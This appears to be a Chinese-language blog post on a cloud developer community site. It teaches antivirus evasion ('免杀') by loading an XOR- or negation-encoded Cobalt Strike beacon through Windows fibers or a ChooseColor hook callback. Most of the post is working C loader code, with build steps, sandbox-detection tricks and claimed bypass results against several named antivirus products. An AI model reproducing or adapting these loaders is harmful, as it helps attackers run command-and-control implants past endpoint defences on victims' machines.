免杀|使用纤程免杀

举报
亿人安全 发表于 2023/05/14 10:50:15 2023/05/14
【摘要】 B站闲逛,发现了师傅一个优秀的项目,学习整理了一波笔记原文链接:https://www.bilibili.com/video/BV1LA411B7Mk/?spm_id_from=333.999.0.0&vd_source=4652172a15b97e23a4fc522adb2ef705使用纤程免杀纤程Fiber的概念:纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程,然后通过人...

B站闲逛,发现了师傅一个优秀的项目,学习整理了一波笔记

原文链接:https://www.bilibili.com/video/BV1LA411B7Mk/?spm_id_from=333.999.0.0&vd_source=4652172a15b97e23a4fc522adb2ef705

使用纤程免杀

纤程Fiber的概念:纤程是比线程的更小的一个运行单位。可以把一个线程拆分成多个纤程,然后通过人工转换纤程,从而让各个纤程工作。线程的实现通过Windows内核完成的,因此Windows可以自动对线程进行调度。但是纤程是通过用户模式的代码来实现的,是程序员自己写的算法,内核不知道纤程的实现方式,而是你自己定义的调度算法,因此纤程是“非抢占”的调度方式

https://docs.microsoft.com/en-us/windows/win32/procthread/fibers

  1. 将当前线程转换为 Fiber ConvertThreadToFiber()
  2. 使用 PAGE_EXECUTE_READWRITE 权限在当前进程中分配内存 VirtualAlloc()
  3. 将 shellcode 复制到分配的内存空间 CopyMemory()
  4. 启动指向分配的内存空间的新Fiber CreateFiber()
  5. 将 Fiber Context 切换到新创建的 Fiber SwitchFiber()

实现代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <windows.h>

void like(){
unsigned char data[] = {0x11, 0x22};
    
LPVOID fiber = ConvertThreadToFiber(NULL);
LPVOID Alloc=VirtualAlloc(NULL,sizeof(data),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
for (int i=0;i<sizeof(data);i++)
{
    data[i]^=99;
}
CopyMemory(Alloc,data,sizeof(data));
LPVOID shellFiber=CreateFiber(0,(LPFIBER_START_ROUTINE)Alloc,NULL);
SwitchToFiber(shellFiber);
}

int main(){
    like();
}

1、生成raw格式的beacon

2、拖入010editor

3、tools – binaryxor 选择异或次数image-20230313113303226

4、生成之后,全选 edit – copy as c code,填入到上面的实现代码中,异或次数按照刚刚设置的进行修改

5、gcc xc2.c -mwindows编译生成exe

免杀效果:火绒✔ def✔ eset✔ 360✔(需要迅速注入其他进程)卡巴斯基❌image-20230313120135768

反模拟运行检测

本质上就是将恶意程序放入沙箱中 看看它会做什么并监视它的行为。但是这是杀软自己模拟出的一个环境。(也就是启发式查杀)

FlsAlloc windows API https://docs.microsoft.com/en-us/windows/win32/api/fibersapi/nf-fibersapi-flsalloc

添加fibersapi.h

1
2
3
4
5
DWORD result = FlsAlloc(NULL);
	if (result == FLS_OUT_OF_INDEXES)
	{
		return 0;
	}


使用求反免杀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#include <Windows.h>
#include <stdio.h>
#include <ctime>

#pragma comment(lib, "Comdlg32.lib")
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
void BLockDll()
{
    //定义一个标志
    PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
    sp.MicrosoftSignedOnly = 1;
    //调用进程设置缓解策略。 缓解策略使流程能够加强自身以抵御各种类型的攻击
    //ProcessSignaturePolicy意思就是限制为只能加载微软签名的
    SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));
}

bool 检查沙箱()
{
    clock_t start = clock();

    Sleep(2000);

    clock_t end = clock();
    if (end - start >= 2000)
    {
        return false;
    }
    return true;
}

void 加载器()
{
    BLockDll();
    DWORD 长度 = 0;
    unsigned char 载荷[265728] = {};
    长度 = sizeof(载荷);

    PVOID hAlloc = VirtualAlloc(NULL, 长度, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    for (int i = 0; i < 长度; i++)
    {
        载荷[i] = -载荷[i];
    }
    memcpy(hAlloc, 载荷, 长度);
    CHOOSECOLOR sCC = { 0 };
    sCC.lStructSize = sizeof(CHOOSECOLOR);
    sCC.Flags = CC_ENABLEHOOK;
    sCC.lpfnHook = (LPCCHOOKPROC)hAlloc;
    ChooseColor(&sCC);
}

int main()
{
    检查沙箱();
    //创建线程
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)加载器, NULL, 0, NULL);
    //等待线程结束
    WaitForSingleObject(hThread, INFINITE);
    //关闭句柄
    CloseHandle(hThread);
    return 0;
}

tools – binaryxor 选择求反,与上面一样的步骤

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。